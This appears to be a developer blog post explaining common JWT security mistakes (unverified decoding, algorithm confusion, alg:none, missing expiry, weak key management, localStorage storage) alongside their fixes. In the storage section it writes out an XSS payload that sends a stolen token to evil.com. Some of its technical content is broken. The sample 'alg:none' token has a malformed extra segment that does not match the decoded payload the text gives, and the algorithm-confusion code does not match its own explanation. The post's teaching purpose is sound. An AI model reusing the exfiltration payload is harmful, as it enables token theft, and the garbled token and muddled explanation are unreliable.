Utilora

JWT Security: What Developers Get Wrong

JSON Web Tokens are ubiquitous but often misused. Learn the critical security pitfalls developers encounter with JWT implementation, including signature verification, algorithm confusion attacks, and token storage.

JWT Security: What Developers Get Wrong

JSON Web Tokens (JWT) are everywhere. Authentication systems, API authorization, password reset links, email verification tokens—JWT appears in nearly every modern web application. And yet, despite their ubiquity, JWT implementation errors are remarkably common. These vulnerabilities expose applications to authentication bypass, privilege escalation, and complete account compromise. Understanding JWT security isn't optional; it's essential.

The Anatomy of a JWT

Before understanding vulnerabilities, you need to understand structure. A JWT consists of three parts separated by dots: header, payload, and signature.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

The header is a JSON object containing the algorithm type (typically HS256 or RS256) and the token type (JWT). This is Base64URL encoded.

The payload contains the claims—statements about the subject (user) and additional metadata. Standard claims include iss (issuer), sub (subject), aud (audience), exp (expiration), nbf (not before), iat (issued at), and jti (JWT ID). Custom claims can add application-specific data.

The signature verifies the token's integrity. It covers the header and payload, ensuring they haven't been modified.

When decoded, the above token reveals:

{"alg":"HS256","typ":"JWT"}
{"sub":"1234567890","name":"John Doe","iat":1516239022}

The Signature Verification Mistake

Here's the most dangerous JWT implementation error: trusting tokens based on what the token claims rather than verifying the signature.

The naive implementation looks like this:

// DANGEROUS: Don't do this
function authenticate(token) {
  const payload = jwt.decode(token); // Decode without verification
  if (payload.role === 'admin') {
    return adminAccess();
  }
}

This code trusts the payload's role field without verifying the signature. An attacker creates a token with role: admin, signs it with a known secret (or no signature for alg: none), and gains admin access. The application never checks whether the token was issued by a trusted authority.

Correct implementation always verifies the signature:

// CORRECT: Always verify signatures
function authenticate(token) {
  try {
    const payload = jwt.verify(token, secret); // Verify with secret
    if (payload.role === 'admin') {
      return adminAccess();
    }
  } catch (e) {
    return unauthorized();
  }
}

The jwt.verify() method validates the signature using the stored secret. If the token was tampered with, verification fails and the request is rejected.

Algorithm Confusion Attacks

Algorithm confusion attacks exploit the JWT header's alg field. The attacker's goal: trick the application into verifying with a different algorithm than intended.

Consider an application using RS256 (asymmetric, public/private key pair). The server has a private key for signing and a public key for verification. An attacker creates a token using HS256 (symmetric, shared secret) but claims it's RS256. The server might switch verification logic based on the token's alg header:

// Vulnerable implementation
function verify(token) {
  const header = jwt.decode(token).header;
  if (header.alg === 'RS256') {
    return jwt.verify(token, publicKey);
  } else if (header.alg === 'HS256') {
    return jwt.verify(token, secret); // Uses server's secret!
  }
}

An attacker obtains the server's public key (it's public, after all), creates a token claiming RS256 but actually signed with a trivial key, and the server uses its public key to verify—but the public key was used as if it were a symmetric secret. The attack succeeds.

Fix: Always specify the expected algorithm explicitly. Never accept tokens with arbitrary alg values. Validate against known algorithms only:

// Secure implementation
jwt.verify(token, publicKey, { algorithms: ['RS256'] });

Specifying algorithms restricts verification to only those algorithms. If the token claims RS256 but was signed with HMAC, verification fails.

The None Algorithm Vulnerability

The alg: none vulnerability exploits JWT libraries' handling of the "no algorithm" option. In the JWT specification, specifying none means the token has no signature and should be trusted as-is.

Early JWT libraries defaulted to accepting none tokens. While this has been largely fixed, edge cases remain:

// Token with no signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYWRtaW4iOnRydWWV.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYWRtaW4iOnRydWUsImFkbWluIjp0cnVlfQ.

The header {"alg":"none","typ":"JWT"} indicates no signature. The payload {"sub":"1234567890","admin":true} sets admin to true. With a vulnerable implementation, this token grants admin access without any signature verification.

Fix: Explicitly specify allowed algorithms and reject none:

jwt.verify(token, secret, { algorithms: ['HS256', 'RS256'] });

Token Expiration Failures

JWT tokens contain an exp claim for expiration. However, many implementations fail to check this claim properly.

The vulnerability: applications decode tokens and check application-level expiration logic rather than relying on jwt.verify(). This works but introduces fragility. If the checking logic has a bug, tokens never expire.

More critically, some implementations accept expired tokens under specific conditions—perhaps for "refresh" scenarios or testing. These exceptions can become attack vectors if the exception logic has flaws.

// Vulnerable: explicit expiration check that can be bypassed
function verify(token) {
  const payload = jwt.decode(token);
  // Check if expired, but only if exp exists
  if (payload.exp && payload.exp < Date.now()) {
    throw new Error('Token expired');
  }
  return payload;
}

If exp is missing, this check passes. Attackers create tokens without exp, making them effectively permanent.

Fix: Always use jwt.verify() which enforces expiration by default. If you need custom logic, validate that exp exists:

const payload = jwt.verify(token, secret);
if (!payload.exp) {
  throw new Error('Token missing expiration');
}

The Sensitive Data Problem

JWT payloads are Base64 encoded, not encrypted. Anyone can decode a JWT and read its contents. This is a feature for debugging (you can inspect tokens), but it's also a security consideration.

Never put sensitive data in JWT payloads:

// BAD: Sensitive data in token
const token = jwt.sign({
  userId: 12345,
  email: 'user@example.com',
  ssn: '123-45-6789',  // NEVER do this
  creditCard: '4111111111111111'  // NEVER do this
}, secret);

Anyone who intercepts this token sees the SSN and credit card number. They're Base64 encoded, not encrypted—the encoding is trivial to reverse.

Fix: Keep JWT payloads minimal. Only include what's necessary for stateless authentication—usually user ID and roles. Retrieve sensitive data from a database using the user ID, not from the token.

The Key Management Disaster

JWT security depends entirely on secret management. Poor key management undermines everything else.

Shared secrets for multiple services: If two services share the same secret and one is compromised, all services using that secret are compromised. Use per-service secrets or asymmetric keys.

Hardcoded secrets in code: Source code gets committed to repositories, shared with contractors, and stored in version control history. Hardcoded secrets are eventually exposed.

// BAD: Secret in code
const secret = 'my-super-secret-key';
 
// BAD: Secret in environment (but logged)
console.log('Using secret:', process.env.JWT_SECRET);

Insufficient secret entropy: Short or predictable secrets can be brute-forced. HS256 tokens with weak secrets have been cracked using dictionary attacks.

Fix: Use strong, randomly generated secrets stored in secure secret management systems (HashiCorp Vault, AWS Secrets Manager, etc.). Rotate secrets regularly and have a plan for responding to suspected compromise.

Token Storage Mistakes

Where you store JWT tokens matters enormously. Common mistakes:

LocalStorage XSS vulnerability: Storing tokens in localStorage makes them accessible to JavaScript on the page. Any XSS (cross-site scripting) vulnerability lets attackers steal tokens:

// Vulnerable storage
localStorage.setItem('token', jwt);

An XSS payload <script>fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))</script> exfiltrates tokens.

HttpOnly cookies mitigate this: Cookies with the HttpOnly flag are inaccessible to JavaScript, preventing XSS-based theft. Use this for browser applications:

res.cookie('token', jwt, {
  httpOnly: true,  // Not accessible to JavaScript
  secure: true,    // HTTPS only
  sameSite: 'strict'  // CSRF protection
});

No storage is ideal for high-security applications: Some applications avoid storing tokens entirely, using session authentication instead. For maximum security, this eliminates the token storage attack surface.

Practical JWT Security Checklist

When implementing JWT authentication, verify these points:

  • Always use jwt.verify() with explicit secret or public key
  • Specify algorithms option to restrict accepted algorithms
  • Reject none algorithm explicitly
  • Validate exp claim exists and verify it enforces expiration
  • Never store sensitive data in JWT payload
  • Use secure secret management for signing keys
  • Prefer HttpOnly cookies over localStorage for browser storage
  • Implement token revocation for logout and suspicious activity
  • Log verification failures for security monitoring
  • Rotate secrets regularly and have incident response plans

Testing JWT Security

Tools like JWT Decoder help verify token structure and content. Decode tokens during development to confirm they contain expected claims and lack sensitive data.

// Decode without verification (for debugging)
const decoded = jwt.decode(token, { complete: true });
console.log(decoded.header);
console.log(decoded.payload);

The decoder shows header, payload, and signature separately. Verify the header specifies expected algorithms, the payload lacks sensitive data, and all expected claims are present.

For encoding tokens during testing, Base64 encoding tools help create test payloads. Use Base64 Encoder to prepare test tokens for security testing.

Real-World JWT Exploits

JWT vulnerabilities have been responsible for significant security incidents. In 2017, the Auth0 vulnerability allowed attackers to forge tokens by specifying alg: HS256 and signing with the public RSA key, which was publicly accessible. Similar vulnerabilities appeared in multiple JWT libraries before being patched.

The lesson: JWT libraries themselves can have vulnerabilities. Keep libraries updated, follow security mailing lists for your dependencies, and test your implementation against known attack patterns.

Conclusion

JWT security failures are common but preventable. The critical mistakes—skipping signature verification, accepting arbitrary algorithms, storing tokens insecurely, putting sensitive data in payloads—are well-understood and have clear mitigations.

When implementing JWT authentication:

  1. Always verify signatures with explicit algorithm restrictions
  2. Never trust token contents without verification
  3. Keep payloads minimal and free of sensitive data
  4. Store tokens securely, preferring HttpOnly cookies
  5. Manage secrets properly with rotation and monitoring

JWT is a powerful tool for stateless authentication. Used correctly, it enables scalable, secure authentication systems. Used incorrectly, it creates catastrophic vulnerabilities. The difference is attention to the implementation details covered here.

Test your implementation with the JWT Decoder to verify token structure, and use Base64 Encoder for preparing test tokens during security testing.

Try these tools